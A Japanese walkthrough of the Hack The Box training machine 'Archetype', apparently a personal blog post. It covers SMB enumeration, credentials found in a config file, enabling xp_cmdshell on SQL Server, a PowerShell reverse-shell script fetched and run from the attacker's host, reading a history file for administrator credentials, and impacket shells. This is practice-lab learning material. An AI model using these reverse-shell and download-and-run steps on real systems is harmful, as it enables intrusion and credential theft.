はじめに
Hack The BoxのStarting Point(Archetype)について解説します。
Starting Pointはチュートリアルなのでflagを得るまでの手順が示されているのですが、自分は少し詰まったところがあったので、それらも加えた手順を示したいと思います。
こちらのYoutubeの解説を参考にさせて頂きました。
VPNの設定
まず、こちらから.ovpn
ファイルをダウンロードしましょう。
以下を実行します。
kali@kali:~$ sudo openvpn username-startingpoint.ovpn
nmapでポートスキャン
kali@kali:~$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
kali@kali:~$ nmap -sC -sV -p$ports 10.10.10.27
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 21:48 EDT
Nmap scan report for 10.10.10.27
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 c
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-info:
| 10.10.10.27:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
ポート445と1433が開いていて、それぞれファイル共有サーバ(smb)とSQLサーバが動いていることがわかります。
ディレクトリ探索
smbサーバと対話できるsmbclientを使用して、パスワードなどの機密情報を探します。
kali@kali:~$ smbclient -N -L \\\\10.10.10.27\\
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
backups
をのぞいてみます。
kali@kali:~$ smbclient -N \\\\10.10.10.27\\backups
smb: \> dir
. D 0 Mon Jan 20 07:20:57 2020
.. D 0 Mon Jan 20 07:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 07:23:02 2020
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
prod.dtsConfig
が得られました。中身を見ます。
dtsConfigファイルはSQL Server Integration Services(SSIS)で使用される設定ファイルらしいです。
kali@kali:~$ cat prod.dtsConfig
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
下から3行目にSQLサーバに接続するための、ユーザーARCHETYPE\sql_svc
のパスワードM3g4c0rp123
が含まれていることがわかります。
SQLサーバに接続
SQLサーバに接続するために、impacketのmssqlclient.py
を使用します。
まず、impacketを使用可能にします。
kali@kali:~$ git clone https://github.com/SecureAuthCorp/impacket.git
kali@kali:~$ cd impacket
kali@kali:~/impacket$ pip install .
ユーザー認証に先ほど取得したパスワードM3g4c0rp123
を使用します。
kali@kali:~$ mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')
-----------
1
現在のユーザーがsysadmin
権限(最も高い権限)を持っているか確認すると、現在のユーザーはsysadmin
権限を持っていることがわかります。
これにより、xp_cmdshell
を使用することが可能です。
xp_cmdshell
はSQLコマンドを介して、Windowsのシェルでコマンドを実行できるものです。
xp_cmdshell
を使用可能にします。
SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1
SQL> reconfigure;
SQL> xp_cmdshell "whoami"
output
--------------------------------------------------------------------------------
archetype\sql_svc
NULL
whoami
の実行結果からこのアカウントにはWindowsシステムにおける管理者権限はないことがわかります。
管理者権限のあるシェルを取得するために、以下のスクリプトを作成し、shell.ps1
という名前で保存します。
10.10.14.3
の部分は自身のIPアドレスに書き換えましょう。
IPアドレスはhostname -I
などで確認できます。
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
そして、ポート80でwebサーバを立ち上げます。
kali@kali:~$ sudo python3 -m http.server 80
また、ポート433でnetcat listenerを立ち上げます。
kali@kali:~$ sudo nc -lvnp 443
また、ufwを使用して、対象のマシンから自分のマシンへのポート80と443での接続を許可します。
kali@kali:~$ sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443
次に、xp_cmdshell
を使用して、シェルをダウンロードして実行するコマンドを実行します。
10.10.14.3
の部分は自身のIPアドレスに書き換えましょう。
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");"
シェル取得後
正常に先ほどのxp_cmdshell
コマンドが実行できていると、netcat listenerを立ち上げているコマンドラインでシェルを実行することができます。
ちなみに、自分はこれに気づかず詰まっていました。
kali@kali:~$ sudo nc -lvnp 443
[sudo] password for kali:
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.27] 49680
# dir
...
-a---- 9/15/2018 12:09 AM 68096 xmlfilter.dll
-a---- 9/15/2018 12:09 AM 231368 xmllite.dll
-a---- 9/15/2018 12:09 AM 64000 xolehlp.dll
# cd C:\\Users
# dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/19/2020 10:39 PM Administrator
d-r--- 1/19/2020 10:39 PM Public
d----- 1/20/2020 5:01 AM sql_svc
sql_svc
のDesktop
からuser.txt
が取得できます。
# ls sql_svc/Desktop
Directory: C:\Users\sql_svc\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/25/2020 6:37 AM 32 user.txt
次に、頻繁にアクセスされているPowerShellの履歴ファイルを参照します。
# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
backups
フォルダの管理者アカウントのパスワードMEGACORP_4dm1n!!
を取得できました。
impacketのpsexec.py
を使用して、管理者権限のあるシェルを取得します。
kali@kali:~$ psexec.py administrator@10.10.10.27
Impacket v0.9.22.dev1+20200813.221956.1c893884 - Copyright 2020 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file swacejRN.exe
これでいけるな...と思っていたら、Uploading file ...
でフリーズしました。
原因を調査していたところ、forumで同じ状況に陥っている人を発見しました。
wmiexec.py
を使ったらできたと書いてあったので、それを使ってみます。
kali@kali:~$ wmiexec.py administrator@10.10.10.27
Password:
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> whoami
archetype\administrator
管理者権限のあるシェルが取得できました。
C:\> cd Users/Administrator/Desktop
C:\Users\Administrator\Desktop> dir
01/20/2020 06:42 AM <DIR> .
01/20/2020 06:42 AM <DIR> ..
02/25/2020 07:36 AM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 33,826,910,208 bytes free
root.txt
が取得できました。
終わりに
以上、Hack The BoxのStarting Point Archetypeについて解説しました。
チュートリアルですが、学びが深かったです。